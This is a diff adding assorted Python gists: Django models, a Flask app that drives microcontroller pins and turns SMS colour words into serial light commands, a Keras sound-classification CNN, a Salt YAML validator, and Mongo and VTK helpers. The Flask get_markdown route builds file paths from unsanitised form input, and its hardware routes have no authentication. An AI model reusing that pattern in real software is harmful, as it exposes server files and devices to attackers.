+    grade = models.IntegerField(default=1)
+    parent = models.ForeignKey("self", models.SET_NULL, blank=True, null=True, db_index=False, related_name="children")
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "tags"
+
+
+# taggable_id and taggable_type essentially define a generic key, though not
+# in the format that Django uses.
+class Tagging(models.Model):
+    id = models.AutoField(primary_key=True)
+    tag = models.ForeignKey(Tag, models.CASCADE, db_index=True, related_name="taggings")
+    taggable_id = models.IntegerField()
+    taggable_type = models.TextField()
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "taggings"
+        index_together = (("taggable_id", "taggable_type"),)
+        unique_together = (("taggable_id", "taggable_type", "tag"),)
+
+
+class Usage(models.Model):
+    id = models.AutoField(primary_key=True)
+    country = models.ForeignKey(Country, models.CASCADE, db_index=False, related_name="usages")
+    lang = models.ForeignKey(Lang, models.CASCADE, db_index=False, related_name="usages")
+    official = models.BooleanField(default=True)
+    minor = models.BooleanField(default=False)
+    percent = models.FloatField(blank=True, null=True)
+    created_at = models.DateTimeField(blank=True, null=True)
+    updated_at = models.DateTimeField(blank=True, null=True)
+
+    class Meta:
+        managed = False
+        db_table = "usages"
+
+
+class Zone(models.Model):
+    id = models.AutoField(primary_key=True)
+
+    class Meta:
+        managed = False
+        db_table = "zones"
diff --git a/hard-gists/4490410/._snippet.py b/hard-gists/4490410/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4490410/._snippet.py differ
diff --git a/hard-gists/4490410/snippet.py b/hard-gists/4490410/snippet.py
new file mode 100644
index 00000000..2a067730
--- /dev/null
+++ b/hard-gists/4490410/snippet.py
@@ -0,0 +1,5 @@
+from django.contrib import admin
+from tastypie.models import ApiKey, ApiAccess
+ 
+admin.site.unregister(ApiKey)
+admin.site.unregister(ApiAccess)
\ No newline at end of file
diff --git a/hard-gists/4494118/._snippet.py b/hard-gists/4494118/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4494118/._snippet.py differ
diff --git a/hard-gists/4494118/snippet.py b/hard-gists/4494118/snippet.py
new file mode 100644
index 00000000..3228cea4
--- /dev/null
+++ b/hard-gists/4494118/snippet.py
@@ -0,0 +1,837 @@
+from flask import Flask, render_template, request
+from uwsgidecorators import *
+import pytronics
+import os, time
+
+public = Flask(__name__)
+public.config['PROPAGATE_EXCEPTIONS'] = True
+
+# Include "no-cache" header in all POST responses
+@public.after_request
+def add_no_cache(response):
+    if request.method == 'POST':
+        response.cache_control.no_cache = True
+    return response
+
+# config for upload
+ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])
+ALLOWED_DIRECTORIES = set(['static/uploads/', 'static/pictures/'])
+LIVE_PINS = ['LED', '2', '3', '4', '5', '6', '7']
+# public.config['MAX_CONTENT_LENGTH'] = 4 * 1024 * 1024
+
+### Home page ###
+@public.route('/')
+@public.route('/index.html')
+def default_page():
+    try:
+        with open('/etc/hostname', 'r') as f:
+            name = f.read().strip().capitalize()
+    except:
+        name = 'Rascal'
+    return render_template('/index.html', hostname=name, template_list=get_public_templates())
+
+def get_public_templates():
+    r = []
+    d = '/var/www/public/templates'
+    for f in os.listdir(d):
+        ff=os.path.join(d,f)
+        if os.path.isfile(ff):
+            r.append(f)
+    return sorted(r)
+
+# Format date/time in Jinja template
+@public.template_filter()
+def datetimeformat(value, format='%H:%M / %d-%m-%Y'):
+    return time.strftime(format, value)
+
+# Return current date and time in specified format
+@public.route('/datetime', methods=['POST'])
+def datetime():
+    try:
+        format = request.form['format']
+    except:
+        format = '%d %b %Y %H:%M %Z'
+    return time.strftime(format, time.localtime())
+
+### Generic HTML and Markdown templates, support for doc tab ###
+@public.route('/<template_name>.html')
+def template(template_name):
+    return render_template(template_name + '.html', magic="Hey presto!")
+
+@public.route('/<doc_name>.md')
+def document(doc_name):
+    return render_markdown('', doc_name)
+
+@public.route('/docs/<doc_name>.md')
+def document_docs(doc_name):
+    return render_markdown('docs/', doc_name)
+
+def render_markdown(path, doc_name):
+    import markdown2
+    with open('/var/www/public/templates/' + path + doc_name + '.md', 'r') as mdf:
+        return render_template('documentation.html', title=doc_name, markdown=markdown2.markdown(mdf.read()))
+    return 'Not Found', 404
+
+@public.route('/get_markdown', methods=['POST'])
+def get_markdown():
+    import markdown2
+    doc_name = request.form['docName']
+    try:
+        with open('/var/www/public/templates/docs/' + doc_name + '.md', 'r') as mdf:
+            return markdown2.markdown(mdf.read())
+    except:
+        try:
+            with open('/var/www/public/templates/' + doc_name + '.md', 'r') as mdf:
+                return markdown2.markdown(mdf.read())
+        except:
+            with open('/var/www/public/templates/docs/default.md', 'r') as mdf:
+                return markdown2.markdown(mdf.read())
+    return 'Internal server error', 500
+
+### Support for pins ###
+def toggle_pin(pin):
+    if pytronics.digitalRead(pin) == '1':
+        pytronics.digitalWrite(pin, 'LOW')
+    else:
+        pytronics.digitalWrite(pin, 'HIGH')
+
+@public.route('/pin/<pin>/<state>')
+def update_pin(pin, state):
+    try:
+        if state.lower() == 'on':
+            pytronics.digitalWrite(pin, 'HIGH')
+            return 'Set pin %s high' % pin
+        elif state.lower() == 'off':                       
+            pytronics.digitalWrite(pin, 'LOW')
+            return 'Set pin %s low' % pin
+        elif state.lower() == 'in':
+            pytronics.pinMode(pin,'INPUT')
+            return 'Set pin %s input' % pin
+        elif state.lower() == 'out':
+            pytronics.pinMode(pin,'OUTPUT')
+            return 'Set pin %s output' % pin
+        return "Something's wrong with your syntax. You should send something like: /pin/2/on"
+    except:
+        return 'Forbidden', 403
+
+@public.route('/read-pins', methods=['POST'])
+def read_pins():
+    import json
+    # return json.dumps(pytronics.readPins(LIVE_PINS))
+    pins = pytronics.readPins(LIVE_PINS)
+    analog = {}
+    for chan in ['A0', 'A1', 'A2', 'A3']:
+        analog[chan] = pytronics.analogRead(chan)
+    return json.dumps({ 'pins': pins, 'analog': analog })
+
+### Support for serial ###
+@public.route('/serial/<port>/<speed>/<message>', methods=['POST'])
+def serial_write(port, speed, message):
+    pytronics.serialWrite(message, speed, port)
+    return 'Tried to write serial data.'
+    
+@public.route('/sms', methods=['POST'])
+def control_lights():
+    d = {'airforceblue': '11',
+        'airsuperiorityblue': '11',
+        'aliceblue': '16',
+        'amaranth': '29',
+        'amaranthpink': '25',
+        'amber': '22',
+        'ambergem': '43',
+        'america': '78',
+        'amethyst': '52',
+        'apple': '41',
+        'applegreen': '41',
+        'apricot': '48',
+        'aqua': '13',
+        'aquamarine': '51',
+        'art': '74',
+        'ash': '49',
+        'ashgray': '49',
+        'asparagus': '41',
+        'ass': '72',
+        'asshole': '72',
+        'atomictangerine': '24',
+        'aubum': '29',
+        'auburn': '32',
+        'avocado': '41',
+        'azure': '14',
+        'babyblue': '16',
+        'barnred': '30',
+        'baseball': '71',
+        'basketball': '58',
+        'battleship': '49',
+        'battleshipgray': '49',
+        'battlestar': '59',
+        'beaver': '33',
+        'beige': '46',
+        'bevan': '74',
+        'beyer': '74',
+        'bird': '64',
+        'birds': '64',
+        'bistre': '36',
+        'bittersweet': '24',
+        'bleudefrance': '14',
+        'blond': '10',
+        'blood': '95',
+        'blue': '17',
+        'bluegray': '11',
+        'blueviolet': '20',
+        'bondiblue': '19',
+        'bos': '71',
+        'boston': '70',
+        'brandeisblue': '14',
+        'brandon': '74',
+        'brightgreen': '39',
+        'bronze': '31',
+        'brown': '31',
+        'brown-nose': '31',
+        'brownnose': '31',
+        'bruin': '65',
+        'bruins': '65',
+        'buff': '47',
+        'bullshit': '72',
+        'burgundy': '32',
+        'butt': '72',
+        'butter': '76',
+        'byzantium': '55',
+        'cacahuete': '87',
+        'cadet': '49',
+        'cadetgray': '49',
+        'calpolygreen': '38',
+        'camel': '33',
+        'camo': '97',
+        'cardinal': '29',
+        'carmine': '30',
+        'carnationpink': '25',
+        'carolinablue': '16',
+        'carrot': '22',
+        'carrotorange': '22',
+        'celeste': '13',
+        'celtics': '58',
+        'cerise': '54',
+        'cerulean': '19',
+        'ceruleanblue': '19',
+        'chamoisee': '33',
+        'champagne': '48',
+        'chartreuse': '39',
+        'chartreusegreen': '39',
+        'chartreusetraditional': '40',
+        'chartreuseweb': '39',
+        'chartreuseyellow': '40',
+        'cheese': '76',
+        'chestnut': '31',
+        'chocolate': '31',
+        'cobalt': '18',
+        'cobaltblue': '18',
+        'columbia': '16',
+        'confetti': '64',
+        'coolgray': '49',
+        'copper': '31',
+        'coral': '24',
+        'cornflower': '12',
+        'cornflowerblue': '12',
+        'cream': '46',
+        'crimson': '29',
+        'cuddling': '73',
+        'cummingtonite': '94',
+        'cyan': '13',
+        'dan': '74',
+        'darkblue': '18',
+        'darkbrown': '36',
+        'darkgoldenrod': '45',
+        'darkgray': '50',
+        'darkgreen': '38',
+        'darkred': '30',
+        'darksalmon': '24',
+        'darkspringgreen': '38',
+        'dartmouth': '38',
+        'deepcarrotorange': '22',
+        'deeppink': '26',
+        'deepsky': '13',
+        'deepskyblue': '13',
+        'denim': '15',
+        'desertsand': '35',
+        'dick': '72',
+        'dodger': '14',
+        'dodgerblue': '14',
+        'dubstep': '64',
+        'duke': '18',
+        'dukeblue': '18',
+        'dumb': '78',
+        'earthyellow': '35',
+        'easter': '68',
+        'easteregg': '68',
+        'ecru': '47',
+        'egg': '68',
+        'eggplant': '55',
+        'eggshell': '10',
+        'egyptianblue': '17',
+        'electricblue': '51',
+        'electriccrimson': '28',
+        'electricindigo': '20',
+        'everything': '74',
+        'fallow': '33',
+        'fandango': '54',
+        'federalblue': '18',
+        'fern': '41',
+        'ferngreen': '41',
+        'fire': '62',
+        'fireenginered': '28',
+        'fish': '68',
+        'flame': '23',
+        'folly': '54',
+        'food': '75',
+        'forest': '38',
+        'forestgreen': '38',
+        'free': '78',
+        'freedom': '78',
+        'fuchsia': '54',
+        'fuck': '72',
+        'fulvous': '35',
+        'gak': '88',
+        'galactica': '59',
+        'gamboge': '22',
+        'glaucous': '11',
+        'glitter': '76',
+        'gold': '43',
+        'goldenrod': '45',
+        'goldmetal': '45',
+        'goldmetallic': '45',
+        'gray': '49',
+        'green': '37',
+        'greenway': '67',
+        'greenyellow': '40',
+        'grey': '49',
+        'hacker': '79',
+        'hackernews': '79',
+        'harlequin': '37',
+        'heliotrope': '53',
+        'helloworld': '82',
+        'hn': '79',
+        'hockey': '65',
+        'hollywoodcerise': '27',
+        'honeydew': '10',
+        'hotmagenta': '26',
+        'hotpink': '26',
+        'husband': '73',
+        'ica': '66',
+        'indiagreen': '38',
+        'indigo': '52',
+        'interactive': '74',
+        'internationalkleinblue': '17',
+        'internationalorange': '23',
+        'iris': '20',
+        'isabelline': '10',
+        'islamicgreen': '38',
+        'ivory': '10',
+        'jonquil': '43',
+        'juxtaposition': '69',
+        'kawan': '74',
+        'kawandeep': '74',
+        'khaki': '47',
+        'kiss': '73',
+        'kleinblue': '17',
+        'la': '63',
+        'lace': '10',
+        'laurel': '41',
+        'laurelgreen': '41',
+        'lavender': '53',
+        'lavenderpink': '25',
+        'lawn': '37',
+        'lawngreen': '37',
+        'lemonchiffon': '46',
+        'leo': '73',
+        'lightblue': '16',
+        'lightgreen': '39',
+        'lightyellow': '44',
+        'lime': '40',
+        'limerick': '41',
+        'lion': '45',
+        'littlespoon': '73',
+        'liver': '50',
+        'locks': '87',
+        'love': '73',
+        'lust': '28',
+        'magenta': '54',
+        'magicmint': '51',
+        'magnolia': '10',
+        'mahogany': '34',
+        'maize': '43',
+        'majorelleblue': '20',
+        'make': '78',
+        'malachite': '93',
+        'mantis': '41',
+        'mariah': '73',
+        'maroon': '32',
+        'mayablue': '16',
+        'mediumblue': '17',
+        'megan': '73',
+        'metalgold': '45',
+        'metallicgold': '45',
+        'midnight': '18',
+        'midnightblue': '18',
+        'midori': '40',
+        'mikado': '43',
+        'mikadoyellow': '43',
+        'moon': '66',
+        'moonbounce': '66',
+        'moonstone': '90',
+        'mouse': '68',
+        'mush': '75',
+        'myrtlegreen': '42',
+        'mytrle': '42',
+        'napa': '74',
+        'naplesyellow': '43',
+        'navajo': '48',
+        'navajowhite': '48',
+        'navy': '18',
+        'navyblue': '18',
+        'neodya': '77',
+        'neodya2': '77',
+        'non-photoblue': '16',
+        'nothing': '10',
+        'nyanza': '39',
+        'ochre': '35',
+        'officegreen': '38',
+        'oldsilver': '49',
+        'olive': '41',
+        'olivedrab': '41',
+        'ooblah': '83',
+        'opal': '91',
+        'opposite': '69',
+        'opposites': '69',
+        'orange': '22',
+        'orangepeel': '22',
+        'orangered': '23',
+        'orangeweb': '22',
+        'orchid': '53',
+        'oxfordblue': '18',
+        'pakistangreen': '38',
+        'palatinateblue': '17',
+        'papaya': '48',
+        'papayawhip': '48',
+        'park': '67',
+        'partner': '73',
+        'party': '64',
+        'pastel': '86',
+        'pastellow': '86',
+        'patrick': '58',
+        'patty': '58',
+        'peach': '48',
+        'peachorange': '48',
+        'peachyellow': '48',
+        'peanut': '87',
+        'pear': '41',
+        'periwinkle': '21',
+        'persianblue': '17',
+        'peru': '31',
+        'phthaloblue': '18',
+        'pinegreen': '19',
+        'pink': '25',
+        'pistachio': '41',
+        'playa': '64',
+        'plum': '55',
+        'poop': '75',
+        'popcorn': '76',
+        'portlandorange': '23',
+        'powderblue': '16',
+        'princetonorange': '22',
+        'public': '74',
+        'pumpkin': '22',
+        'purple': '55',
+        'rabbit': '68',
+        'rain': '61',
+        'rainbow': '57',
+        'random': '64',
+        'raspberry': '29',
+        'ravercamo': '98',
+        'rawumber': '33',
+        'red': '28',
+        'red-brown': '32',
+        'redbrown': '32',
+        'redorange': '23',
+        'redsock': '71',
+        'redsocks': '71',
+        'redsox': '71',
+        'redviolet': '54',
+        'redwhiteblue': '78',
+        'redwood': '30',
+        'river': '76',
+        'robin': '13',
+        'robinegg': '13',
+        'robineggblue': '13',
+        'romance': '73',
+        'romansilver': '49',
+        'rose': '54',
+        'rosepink': '26',
+        'rosewood': '30',
+        'royalblue': '15',
+        'ruby': '28',
+        'rufous': '32',
+        'russet': '31',
+        'rust': '34',
+        'sacramento': '38',
+        'sacramentostate': '38',
+        'sacramentostategreen': '38',
+        'safetyorange': '22',
+        'saffron': '43',
+        'salmon': '24',
+        'salmonella': '85',
+        'salmonpink': '25',
+        'sandybrown': '35',
+        'sapphire': '15',
+        'scanner': '56',
+        'scarlet': '28',
+        'schoolbus': '44',
+        'schoolbusyellow': '44',
+        'seafood': '68',
+        'seagreen': '42',
+        'sealbrown': '36',
+        'seaman': '84',
+        'seashell': '10',
+        'selectiveyellow': '43',
+        'semen': '84',
+        'sepia': '31',
+        'sex': '73',
+        'shamrock': '42',
+        'shamrockgreen': '42',
+        'sharon': '73',
+        'shit': '75',
+        'shockingpink': '27',
+        'shrimp': '68',
+        'sides': '69',
+        'sienna': '34',
+        'silver': '49',
+        'silverchalice': '49',
+        'silversand': '49',
+        'sinopia': '34',
+        'skobeloff': '19',
+        'sky': '13',
+        'skyblue': '16',
+        'skycamo': '96',
+        'slate': '49',
+        'slategray': '49',
+        'slimer': '89',
+        'slimergreen': '89',
+        'smoke': '10',
+        'smokeytopaz': '31',
+        'snow': '10',
+        'sonicsilver': '49',
+        'sparkle': '76',
+        'sparqule': '76',
+        'spoon': '73',
+        'springbud': '40',
+        'stafford': '74',
+        'steelblue': '11',
+        'stoplight': '60',
+        'stpatrick': '58',
+        'stream': '76',
+        'sunglow': '43',
+        'sunset': '81',
+        'tan': '33',
+        'tangelo': '23',
+        'tangerine': '22',
+        'tartar': '95',
+        'taupe': '50',
+        'tawny': '34',
+        'teal': '19',
+        'tearose': '24',
+        'tiffanyblue': '16',
+        'tigereye': '92',
+        'timberwolf': '49',
+        'toaster': '59',
+        'tomato': '23',
+        'tonton': '96',
+        'trueblue': '14',
+        'tufts': '15',
+        'tuftsblue': '15',
+        'turquoise': '13',
+        'tuscanred': '30',
+        'uclablue': '11',
+        'ultramarine': '18',
+        'ultrapink': '26',
+        'umber': '50',
+        'upforest': '42',
+        'upforestgreen': '42',
+        'usa': '78',
+        'vanilla': '46',
+        'vermillion': '28',
+        'violet': '52',
+        'virdee': '74',
+        'webelo': '76',
+        'weird': '64',
+        'weismann': '74',
+        'weissman': '74',
+        'wenge': '50',
+        'wheat': '35',
+        'white': '10',
+        'wife': '73',
+        'wine': '30',
+        'wired': '80',
+        'wisteria': '53',
+        'wonton': '96',
+        'wood': '31',
+        'yale': '15',
+        'yaleblue': '15',
+        'yc': '79',
+        'yellow': '44',
+        'yellow-green': '40',
+        'yellowgreen': '40',
+        'zaffre': '18',
+        ':(': '18',
+        ':)': '73',
+        '<3': '62',
+        'agreement': '76',
+        'ah': '84',
+        'ahh': '84',
+        'ahhh': '84',
+        'ahhhh': '84',
+        'ahhhhh': '84',
+        'aquarium': '90',
+        'aubergine': '54',
+        'avacado': '93',
+        'baboon': '91',
+        'banana': '92',
+        'barkingcrab': '62',
+        'barn': '29',
+        'bathtub': '76',
+        'bear': '77',
+        'black': '50',
+        'bleh': '98',
+        'bloom': '66',
+        'blur': '76',
+        'blurp': '84',
+        'blurp!': '84',
+        'bluw': '18',
+        'bokchoi': '41',
+        'bubblegum': '85',
+        'burntsiena': '34',
+        'butterscotch': '93',
+        'cabbage': '42',
+        'calman': '84',
+        'cat': '92',
+        'chair': '17',
+        'cherry': '29',
+        'christmas': '64',
+        'chromacity': '75',
+        'chromaticuty': '85',
+        'city': '67',
+        'clear': '50',
+        'comeonlights': '93',
+        'connect': '92',
+        'couch': '98',
+        'crab': '62',
+        'cranberry': '30',
+        'crazy': '91',
+        'cyclon': '59',
+        'cylon': '59',
+        'discus': '77',
+        'disparate': '69',
+        'dog': '77',
+        'dolphin': '93',
+        'dream': '85',
+        'eel': '84',
+        'ellie': '98',
+        'elliefolding': '98',
+        'emerald': '40',
+        'fever': '75',
+        'flash': '72',
+        'flu': '75',
+        'fuscia': '54',
+        'galaxy': '61',
+        'goldfish': '92',
+        'gopher': '77',
+        'grass': '41',
+        'hermit': '62',
+        'hermitcrab': '62',
+        'hermitcrabs': '62',
+        'holly': '40',
+        'iloveyou': '85',
+        'ish': '87',
+        'jellyfish': '85',
+        'kelly': '75',
+        'kelp': '89',
+        'lamp': '92',
+        'laugh': '91',
+        'lemon': '45',
+        'light': '93',
+        'lightning': '91',
+        'limeo': '93',
+        'line': '40',
+        'lisa': '27',
+        'lisamarie': '27',
+        'lobster': '62',
+        'macaroni': '92',
+        'macaroniandcheese': '92',
+        'magic': '93',
+        'mauve': '53',
+        'monkey': '98',
+        'moonstones': '93',
+        'myrtle': '42',
+        'near': '77',
+        'nior': '82',
+        'nude': '75',
+        'off': '50',
+        'onyx': '50',
+        'pee': '87',
+        'penis': '84',
+        'phish': '93',
+        'pick': '91',
+        'piss': '87',
+        'plaid': '85',
+        'polkadots': '91',
+        'poppy': '76',
+        'porsche': '92',
+        'potpourri': '91',
+        'proudmom': '88',
+        'puce': '63',
+        'putmeincoach': '82',
+        'quartz': '91',
+        'real': '60',
+        'robinsegg': '14',
+        'sabertoothtiger': '77',
+        'sage': '46',
+        'salman': '84',
+        'salmonsex': '73',
+        'saphire': '76',
+        'saturn': '62',
+        'science': '91',
+        'seaturtle': '93',
+        'seaweed': '41',
+        'shark': '77',
+        'smallcat': '92',
+        'soap': '85',
+        'starbuck': '21',
+        'sunrise': '92',
+        'ted': '27',
+        'tiger': '62',
+        'tin': '49',
+        'twilight': '61',
+        'twillight': '61',
+        'twinkle': '61',
+        'viridian': '42',
+        'werewolf': '21',
+        'yello': '92',
+        'youcompletemelights': '92',
+        'zebra': '93'}
+    allowed_commands = ['X040A',
+        'X040B',
+        'X040C',
+        'X040D',
+        'X040E',
+        'X040F',
+        'X0410',
+        'X0411',
+        'X0412',
+        'X0413',
+        'X0414',
+        'X0415',
+        'X0416',
+        'X0417',
+        'X0418',
+        'X0419',
+        'X041A',
+        'X041B',
+        'X041C',
+        'X041D',
+        'X041E',
+        'X041F',
+        'X0420',
+        'X0421',
+        'X0422',
+        'X0423',
+        'X0424',
+        'X0425',
+        'X0426',
+        'X0427',
+        'X0428',
+        'X0429',
+        'X042A',
+        'X042B',
+        'X042C',
+        'X042D',
+        'X042E',
+        'X042F',
+        'X0430',
+        'X0431',
+        'X0432',
+        'X0433',
+        'X0434',
+        'X0435',
+        'X0436',
+        'X0437',
+        'X0438',
+        'X0439',
+        'X043A',
+        'X043B',
+        'X043C',
+        'X043D',
+        'X043E',
+        'X043F',
+        'X0440',
+        'X0441',
+        'X0442',
+        'X0443',
+        'X0444',
+        'X0445',
+        'X0446',
+        'X0447',
+        'X0448',
+        'X0449',
+        'X044A',
+        'X044B',
+        'X044C',
+        'X044D',
+        'X044E',
+        'X044F',
+        'X0450',
+        'X0451',
+        'X0452',
+        'X0453',
+        'X0454',
+        'X0455',
+        'X0456',
+        'X0457',
+        'X0458',
+        'X0459',
+        'X045A',
+        'X045B',
+        'X045C',
+        'X045D',
+        'X045E',
+        'X045F',
+        'X0460',
+        'X0461',
+        'X0462']
+    import random
+    message = request.form['Body']
+    print "Received text message: " + str(message)
+    try:
+        program = int(d[message[0:25].lower().replace(' ', '')])
+    except KeyError:
+        print 'color {0} not found'.format(message)
+        program = random.randint(10,98)
+    command = 'X04%(number)2.2X' % {"number": program}
+    print 'Translated {0} to {1}'.format(message, command)
+    if (command in allowed_commands):
+        pytronics.serialWrite(command, speed=9600)
+    else:
+        print "Command {0} is not one of the allowed commands.".format(command)
+        command = 'FAIL'
+    return('<?xml version="1.0" encoding="UTF-8"?><Response>{0}</Response>'.format(command))
+
+# Called from hello.html
+@public.route('/flash_led', methods=['POST'])
+def flash_led():
+    if pytronics.digitalRead('LED') == '1':
+        pytronics.digitalWrite('LED', 'LOW')
+        message = "LED off"
+    else:
+        pytronics.digitalWrite('LED', 'HIGH')
+        message = "LED on"
+    return (message)
+
+if __name__ == "__main__":
+    public.run(host='127.0.0.1:5000', debug=True)
diff --git a/hard-gists/4495f2c97ae6605c32c8b8c61bd34a74/._snippet.py b/hard-gists/4495f2c97ae6605c32c8b8c61bd34a74/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4495f2c97ae6605c32c8b8c61bd34a74/._snippet.py differ
diff --git a/hard-gists/4495f2c97ae6605c32c8b8c61bd34a74/snippet.py b/hard-gists/4495f2c97ae6605c32c8b8c61bd34a74/snippet.py
new file mode 100644
index 00000000..a4e8c5df
--- /dev/null
+++ b/hard-gists/4495f2c97ae6605c32c8b8c61bd34a74/snippet.py
@@ -0,0 +1,77 @@
+import numpy as np
+from keras.models import Sequential
+from keras.layers import Dense, Dropout, Activation, Flatten
+from keras.layers import Convolution2D, MaxPooling2D
+from keras.optimizers import Adam
+from keras.utils import np_utils
+from sklearn import metrics 
+
+# to run this code, you'll need to load the following data: 
+# train_x, train_y
+# valid_x, valid_y
+# test_x, test_y
+# see http://aqibsaeed.github.io/2016-09-24-urban-sound-classification-part-2/ for details
+
+# data dimension parameters 
+frames = 41
+bands = 60
+num_channels = 2
+num_labels = test_y.shape[1]
+
+# start by creating a linear stack of layers
+model = Sequential()
+
+# will use filters of size 2x2 
+f_size = 2
+
+# first layer applies 32 convolution filters 
+# input: 60x41 data frames with 2 channels => (60,41,2) tensors
+model.add(Convolution2D(32, f_size, f_size, border_mode='same', input_shape=(bands, frames, num_channels)))
+model.add(Activation('relu'))
+model.add(Convolution2D(32, f_size, f_size))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+model.add(Dropout(0.15))
+
+# next layer applies 64 convolution filters
+model.add(Convolution2D(64, f_size, f_size, border_mode='same'))
+model.add(Activation('relu'))
+model.add(Convolution2D(64, f_size, f_size))
+model.add(Activation('relu'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+model.add(Dropout(0.2))
+
+# flatten output into a single dimension 
+# Keras will do the shape inference automatically
+model.add(Flatten())
+
+# then a fully connected NN layer
+model.add(Dense(256))
+model.add(Activation('relu'))
+model.add(Dropout(0.5))
+
+# finally, an output layer with one node per class
+model.add(Dense(num_labels))
+model.add(Activation('softmax'))
+
+# use the Adam optimiser
+adam = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0)
+
+# now compile the model, Keras will take care of the Tensorflow boilerplate
+model.compile(loss='categorical_crossentropy', metrics=['accuracy'], optimizer=adam)
+
+# for quicker training, just using one epoch, you can experiment with more
+model.fit(train_x, train_y, validation_data=(valid_x, valid_y), batch_size=32, nb_epoch=1)
+
+# finally, evaluate the model using the withheld test dataset
+
+# determine the ROC AUC score 
+y_prob = model.predict_proba(test_x, verbose=0)
+y_pred = np_utils.probas_to_classes(y_prob)
+y_true = np.argmax(test_y, 1)
+roc = metrics.roc_auc_score(test_y, y_prob)
+print "ROC:", round(roc,3)
+
+# determine the classification accuracy
+score, accuracy = model.evaluate(test_x, test_y, batch_size=32)
+print("\nAccuracy = {:.2f}".format(accuracy))
\ No newline at end of file
diff --git a/hard-gists/4497119/._snippet.py b/hard-gists/4497119/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4497119/._snippet.py differ
diff --git a/hard-gists/4497119/snippet.py b/hard-gists/4497119/snippet.py
new file mode 100644
index 00000000..3224c676
--- /dev/null
+++ b/hard-gists/4497119/snippet.py
@@ -0,0 +1,92 @@
+import itertools
+import functools
+import fnmatch
+import os
+from StringIO import StringIO
+
+import yaml
+from yaml.parser import ParserError
+import voluptuous as V
+
+
+# env: {match: []}
+TopSchema = V.Schema({unicode: {unicode: []}})
+# id: {module: [{param: value}]}
+StateSchema = V.Schema({unicode: {unicode: [{unicode: object}, unicode]}})
+# key: <anything>
+PillarSchema = V.Schema({unicode: object})
+
+
+class Parser(object):
+    def load(self, fd):
+        return self._parse(yaml.compose(fd))
+
+    def loads(self, text):
+        return self._parse(StringIO(text))
+
+    def _parse(self, node):
+        return getattr(self, '_parse_' + node.__class__.__name__)(node)
+
+    def _parse_MappingNode(self, node):
+        keys = set()
+        map = {}
+        map_error = functools.partial(ParserError, context='while parsing a mapping')
+        for k, v in node.value:
+            error = functools.partial(map_error, context_mark=k.start_mark)
+            kv = self._parse(k)
+            if isinstance(kv, (list, dict)):
+                raise error(problem='non-scalar key (%r)' % kv)
+            if kv in keys:
+                raise error(problem='found duplicate key (%r)' % kv)
+            keys.add(kv)
+            map[kv] = self._parse(v)
+        return map
+
+    def _parse_SequenceNode(self, node):
+        return [self._parse(v) for v in node.value]
+
+    def _parse_ScalarNode(self, node):
+        tag = node.tag.split(':')
+        type = tag[-1]
+        # TODO: This is missing some types as per http://yaml.org/type/
+        return {
+            'int': lambda: int(node.value),
+            'str': lambda: node.value,
+            'float': lambda: float(node.value),
+            'bool': lambda: node.value.lower() == 'true',
+            'null': lambda: None,
+        }[type]()
+
+
+def walk(root):
+    for base, _, files in os.walk(root):
+        for file in files:
+            yield os.path.join(base, file)
+
+
+def main():
+    parser = Parser()
+    for filename in itertools.chain(walk('pillar'), walk('state')):
+        if fnmatch.fnmatch(filename, '*.sls'):
+            print(filename)
+            try:
+                with open(filename) as fd:
+                    data = parser.load(fd)
+            except ParserError as e:
+                print(e)
+            try:
+                if '/top.sls' in filename:
+                    data = TopSchema(data)
+                    # print(data)
+                elif 'state' in filename and '/top.sls' not in filename:
+                    data = StateSchema(data)
+                    # print(data)
+                elif 'pillar' in filename and '/top.sls' not in filename:
+                    data = PillarSchema(data)
+            except V.Invalid as e:
+                print(data)
+                raise
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/4497f8a4f675170180ab/._snippet.py b/hard-gists/4497f8a4f675170180ab/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4497f8a4f675170180ab/._snippet.py differ
diff --git a/hard-gists/4497f8a4f675170180ab/snippet.py b/hard-gists/4497f8a4f675170180ab/snippet.py
new file mode 100644
index 00000000..f134d077
--- /dev/null
+++ b/hard-gists/4497f8a4f675170180ab/snippet.py
@@ -0,0 +1,25 @@
+#project/project/__init__.py
+import project.settings
+import pymongo
+
+THE_MONGO_CLIENT = pymongo.MongoClient(settings.MONGO_HOST, settings.MONGO_PORT)
+
+#project/project/settings.py
+INSTALLED_APPS += 'utils'
+
+MONGO_HOST = 'localhost' #default
+MONGO_PORT = 27017 #default
+
+#project/utils/mongo_tools.py
+from project import THE_MONGO_CLIENT
+
+def get_mongo_db(db_name):
+  return THE_MONGO_CLIENT[db_name]
+
+#project/app/views.py
+# (example)
+from utils.mongo_tools import get_mongo_db
+
+def example_view(request):
+  db = get_mongo_db('a_database')
+  # do request stuff
\ No newline at end of file
diff --git a/hard-gists/44a392a01fa3e0181972/._snippet.py b/hard-gists/44a392a01fa3e0181972/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/44a392a01fa3e0181972/._snippet.py differ
diff --git a/hard-gists/44a392a01fa3e0181972/snippet.py b/hard-gists/44a392a01fa3e0181972/snippet.py
new file mode 100644
index 00000000..18fee721
--- /dev/null
+++ b/hard-gists/44a392a01fa3e0181972/snippet.py
@@ -0,0 +1,74 @@
+#!/usr/bin/env python
+
+import os
+import numpy as np
+import vtk
+import matplotlib.pyplot as plt
+
+
+def load_velocity(filename):
+    if not os.path.exists(filename):
+        return None
+    reader = vtk.vtkPolyDataReader()
+    reader.SetFileName(filename)
+    reader.ReadAllVectorsOn()
+    reader.Update()
+
+    data = reader.GetOutput()
+
+    # Extracting triangulation information
+    triangles = data.GetPolys().GetData()
+    points = data.GetPoints()
+
